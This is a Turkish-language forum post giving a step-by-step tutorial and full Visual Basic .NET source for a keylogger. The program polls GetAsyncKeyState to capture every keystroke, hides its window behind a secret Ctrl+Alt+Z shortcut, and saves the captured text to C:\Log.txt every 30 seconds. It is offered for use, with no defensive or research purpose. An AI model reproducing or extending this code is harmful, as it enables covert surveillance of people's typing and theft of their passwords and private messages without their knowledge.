Visual Basic Keylogger Yapma


Visual Basic ve .NET Framework    Visual Basic ve .NET Framework İle İlgili Paylaşım Kategorisi

Yazar: Exorcism    0 Yorum    290 Görüntüleme
  • Derecelendirme: 0/5 - 0 oy

Paylaşım Tarihi: 12.04.2016, 19:43:20 #1
Exorcism Who Is The Beast
Ultra Üye
Status: Çevrimdışı Yorumları:870 Konuları:379 Kayıt Tarihi:06.02.2016 Rep Puanı: 1,233

Visual Basic Keylogger Yapımı...

Keyloggerimizin Özellikleri:
C:'de Log Tutar.Bazi Özel HarfLeri Algılamaz.
Hide Yaptıktan Sonra Kısa Yol Ctrl+Alt+Z' dir.

Login Yaparken İd ve Şifre Sorar.

İd:.........
Şifre:........

Not: 

1)Keylogger'daki Kodları Sadece Takip Ederek Yazin.Resimlerdeki Kodlar Yanlış.Ben Önceden Keylogger'i Form1'e yapmıstım sonra aklıma Login ve Saklama Penceresi Yapmak Geldigi İcin Biraz Karışıktır Ama Kodlar Dogru Sadece Resimlerde Nerelere Ne Geliyor Onlara Bakınız. 





Form 1



Form'muza Eklenecek Nesneler:

1)2 tane text box
2)2 tane label
2)2 tane button Koyacağız

    Kodlar


Kod:

Button1_Click:

If TextBox1.Text = "İD"And TextBox2.Text = "Şifre"Then [Burdaki İd Ve Şifreyi Değiştirebilirsinz.]
Form2.Show()
Me.Hide()
Else
MsgBox("Yanlış Bilgiler,Lütfen Tekrar Deniyiniz...")
EndIf


Button2_Click:
Me.Close()


  
   
En Zor Aşamaya Geldik.

Form 2
1)Form'mumuza 2 Adet Button, 1 Adet Text Box ve 2 adet Timer ekleyelim...
2)Bu ekleyeceğimiz Nesnelerin Adı Değişiyor.Burda Kod Uyuşmazliği Çikabilir.





Timer Hazırlama

1.Timer'izin Adını timerKeys Yapınız.
İnterval:5
Enabled: True

2.Timer'izin Adını timerSave Yapınız.
interval:30000
Enabled: True



   
     Timer'lerimizden Sonra

TextBox Hazırlamak

TextBox İsmini tbLog Yapacağız.


   

[b]2 Tane Buttonumuz var.
Bu 2 tane buttonumuzdan;
1.nin Adı:btnHide
2.nin Adı Değişmeyecek.


Artık Kodlarımız Yazalim 
Ve 
Son Aşamaya Geçelim

Option Strict On
PublicClassForm2
PublicDeclareFunction GetAsyncKeyState Lib"user32" (ByVal vkey AsLong) AsInteger
__________________________________________________ _____________________________________________
PrivateSub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick
Dim result AsInteger
Dim key AsString
Dim i AsInteger
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 13 Then key = vbNewLine
Exit For
EndIf
Next i
&#&# 
If key = NothingThen
Exit Sub
EndIf
IfMy.Computer.Keyboard.ShiftKeyDown OrElseMy.Computer.Keyboard.CapsLock Then
tbLog.Text &= key
Else
tbLog.Text &= key.ToLower
EndIf
IfMy.Computer.Keyboard.CtrlKeyDown AndAlsoMy.Computer.Keyboard.AltKeyDown AndAlso key = "Z"Then
Me.Show()
EndIf
EndSub




PrivateSub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
Me.Hide()
EndSub


PrivateSub timerSave_Tick() Handles timerSave.Tick
My.Computer.FileSystem.WriteAllText("C:\Log.txt", tbLog.Text, True)
tbLog.Clear()
EndSub



PrivateSub Form2_FormClosed(ByVal sender AsObject, ByVal e As System.Windows.Forms.FormClosedEventArgs) HandlesMe.FormClosed
tbLog.Text &= vbNewLine & "Closed at: " & Now & vbNewLine
timerSave_Tick()
EndSub



PrivateSub Form2_Load(ByVal sender AsObject, ByVal e As System.EventArgs) HandlesMe.Load
tbLog.Text = "Started at: " & Now & vbNewLine
EndSub



PrivateSub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
tbLog.Text = ""
EndSub
EndClass
[/b]


[b]      Yararıım dokunduysa 1 teşekkür edin[/b]

[b]   [/b]

Kullanıcı İmzası
                                                                     Resim http://wallpapercave.com/wp/E9YHLhm.jpg
Söz sizin ağzınızda olduğu sürece, sizin esirinizdir. 
                                   Söz ağızdan çıktıktan sonra, siz onun eseri olursunuz










Aradığınızı Bulamadınız Mı ?

Konuyu Okuyanlar:
1 Ziyaretçi